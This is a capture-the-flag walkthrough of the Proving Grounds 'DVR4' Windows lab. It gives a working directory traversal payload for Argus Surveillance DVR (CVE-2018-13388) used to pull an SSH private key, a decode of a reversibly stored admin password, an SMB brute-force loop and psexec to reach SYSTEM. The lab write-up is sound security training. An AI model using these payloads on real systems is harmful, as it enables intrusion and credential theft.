the_open_door
coffee
ESEN

DVR4

Proving Grounds PracticeMediumWindows192.168.178.179

The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.

#argus-dvr#cve-2018-13388#directory-traversal#lfi#ssh-key#reversible-password#information-disclosure#smb-brute-force#psexec#windows#oscp
TL;DR. Port 8080 serves Argus Surveillance DVR 4.0.0.0, vulnerable to a directory traversal (CVE-2018-13388) that reads arbitrary files (Argus DVR traversal). With it we pull viewer's SSH private key and log in over SSH. To escalate, Argus's DVRParams.ini stores the administrator password with a reversible cipher (reversible password storage): we decode it character by character and, since the last one wasn't in the exploit's table, we run a small last-char brute force against SMB. With the full password, psexec.py gives us SYSTEM.

Recon

Initial scan

TTL 125 → Windows: Windows starts the TTL at 128 and each routing hop decrements it, so 125 = 128−3; a hint, not proof (it can be spoofed), confirmed by the service scan. SMB, a Bitvise SSH and a web server on 8080 that identifies as Argus Surveillance DVR.

ping -c 1 192.168.178.179
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.178.179
PORT     STATE SERVICE
22/tcp   open  ssh
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
8080/tcp open  http-proxy
nmap -p22,135,139,445,5040,8080 -sCV 192.168.178.179 -oN targetedScan
PORT     STATE SERVICE       VERSION
22/tcp   open  ssh           Bitvise WinSSHD 8.48 (FlowSsh 8.48; protocol 2.0)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds?
8080/tcp open  http-proxy
|_http-title: Argus Surveillance DVR
|_http-generator: Actual Drawing 6.0 (http://www.pysoft.com) [PYSOFTWARE]

HTTP - TCP 8080: Argus Surveillance DVR

Port 8080 serves the panel of an Argus Surveillance DVR:

Argus Surveillance DVR web panel with the Cameras/Records/Users/Tools menu

Help → About confirms the exact version, 4.0 (a 2008 release):

Argus Surveillance DVR About: Version 4.0, Released 18/12/2008

Its own interface (Users) leaks the local users (viewer among them), handy for knowing who to target next:

The Argus DVR interface reveals the local users, including viewer

searchsploit confirms this version's flagship vulnerability:

searchsploit argus
Argus Surveillance DVR 4.0.0.0 - Directory Traversal   | windows_x86/webapps/45296.txt   (CVE-2018-13388)

Exploitation

CVE-2018-13388: directory traversal to viewer's SSH key

WEBACCOUNT.CGI does not sanitize the RESULTPAGE parameter: with a string of ..%2F we read any file on disk (Argus DVR traversal). Knowing viewer exists and there is SSH, we target its private key:

payload = "WEBACCOUNT.CGI?OkBtn=++Ok++&RESULTPAGE=" + "..%2F"*16
r = requests.get(url + "/" + payload + urllib.parse.quote(file))
python3 path_traversal.py http://192.168.178.179:8080 "/Users/viewer/.ssh/id_rsa"

path_traversal.py returns viewer's BEGIN OPENSSH PRIVATE KEY

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAuuXhjQJhDjXBJkiIftPZng7N999zteWzSgthQ5fs9kOhFzLQlJ5J
Ybut0BIbPaUdOhNlQcuhAUZjaaMxnWLbDJgTETK8h162J81p9q6vR2zKpHu9Dhi1ksVyAP
...
-----END OPENSSH PRIVATE KEY-----

The response is viewer's private key. We save it and log in over SSH:

chmod 600 id_rsa
ssh -i id_rsa viewer@192.168.178.179

SSH shell as viewer on DVR4 (Windows 10.0.19044)

Local

type C:\Users\viewer\Desktop\local.txt & whoami & ipconfig & hostname

local.txt read as the viewer user on DVR4

441766a5c1ebc1299bc441622f2be6ce
dvr4\viewer

Privilege escalation

DVRParams.ini: a reversibly-encrypted password

Argus stores its configuration (including the administrator password) in DVRParams.ini, with a homegrown reversible cipher (reversible password storage):

type "C:\ProgramData\PY_Software\Argus Surveillance DVR\DVRParams.ini"

DVRParams.ini holds Password0 with the reversibly-encrypted administrator password

The [Users] section confirms that Password0 belongs to LoginName0=Administrator:

DVRParams.ini users section: LoginName0=Administrator and Password0=ECB453...D9A8

[Users]
LoginName0=Administrator
Password0=ECB453D16069F641E03BD9BD956BFE36BD8F3CD9D9A8

Character-by-character decode + last-char brute force

The "cipher" is just a table mapping each 4-hex-digit block to a character; it is directly reversible. The 50130.py exploit decodes almost the whole password, but the last block (D9A8) is not in its table:

50130.py decodes 14WatchD0g but the last block D9A8 comes back as Unknown

ECB4->1  53D1->4  6069->W  F641->a  E03B->t  D9BD->c  956B->h  FE36->D  BD8F->0  3CD9->g  D9A8->?

The base is 14WatchD0g and only the last character is missing. Rather than extend the table, we run a tiny brute force: we try 14WatchD0g + every possible character as an SMB login for Administrator until one authenticates:

username = "Administrator"
for character in string.ascii_letters + "-_,!#·$%&()=?¿'¡^*:;.+":
    if smb_login(username, "14WatchD0g" + character):
        print("Found: 14WatchD0g" + character)

smb_bruteForce.py finds the full password: 14WatchD0g$

[+] Trying passwords: Found: 14WatchD0g$

The full administrator password is 14WatchD0g$.

SYSTEM with psexec

With local administrator credentials, psexec.py gives us a shell as SYSTEM:

psexec.py Administrator@192.168.178.179   # 14WatchD0g$

psexec.py as Administrator opens a shell: writable ADMIN$, creates the service and drops into C:\WINDOWS\system32

Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies

Password:
[*] Requesting shares on 192.168.178.179.....
[*] Found writable share ADMIN$
[*] Uploading file sumSWgAi.exe
[*] Opening SVCManager on 192.168.178.179.....
[*] Creating service BXTM on 192.168.178.179.....
[*] Starting service BXTM.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.19044.1645]
(c) Microsoft Corporation. All rights reserved.

C:\WINDOWS\system32> cd C:\Users\Administrator\Desktop

Proof

type C:\Users\Administrator\Desktop\proof.txt & whoami & ipconfig & hostname

proof.txt read as nt authority/system on DVR4

a2799c965f578baa4a678c6af5b0e2e8
nt authority\system

Automating the whole chain

All four steps (traversal to steal the id_rsa, SSH, reading and decrypting the DVRParams.ini, and psexec.py as administrator) fit in a script. It is worth seeing in full because it makes clear there is no interactive step here: everything is deterministic.

python3 dvr4_autoexpy.py <victim-ip>

dvr4_autoexpy.py chains the traversal, the SSH, the password decryption and the psexec all the way to printing both flags

[+] SSH private key (id_rsa) retrieved via Argus Surveillance path traversal
[+] SSH access gained
[+] Encrypted Administrator password found in C:\ProgramData\PY_software\Argus Surveillance DVR\DVRParams.ini
[+] Administrator password successfully decrypted -> 14WatchD0g$
[+] Attempting Administrator access via SMB (psexec.py)

    proof.txt -> 2ce8e0fc812d07f2c16e9d4db0871ea5
    local.txt -> 65952e2fbf0ae63da006fbd2e9367cce

The flag hashes do not match the manual run's because the box had been redeployed in between: on Proving Grounds the flags are regenerated on every deployment.

Attack chain

HTTP 8080  --  Argus Surveillance DVR 4.0.0.0 (users: viewer)
        │  CVE-2018-13388: WEBACCOUNT.CGI traversal -> reads /Users/viewer/.ssh/id_rsa
        ▼
ssh viewer  (local.txt)
        │  DVRParams.ini -> Password0 reversibly encrypted
        │  50130.py decodes 14WatchD0g + SMB brute force of last char -> 14WatchD0g$
        ▼
psexec.py Administrator -> nt authority\system  (proof.txt)

Lessons learned

  • Directory traversal reads anything, not just web pages. Argus's WEBACCOUNT.CGI let us pull a user's SSH key; validating and normalizing paths server-side closes the vector.
  • Reversible encryption == plaintext with extra steps. DVRParams.ini stored the administrator password with a reversible table; whoever reads the file recovers the password. Passwords must be stored with slow, salted hashes, not "encrypted".
  • An incomplete table doesn't stop a decode. One block was missing from the exploit, but with the known base a single-character brute force against SMB completed the password in seconds.
  • Don't reuse keys across exposed services. The same host leaked the SSH key over HTTP and the admin password via the config file; each exposure chained into the next.
Command cheatsheet 9 commands

Quick review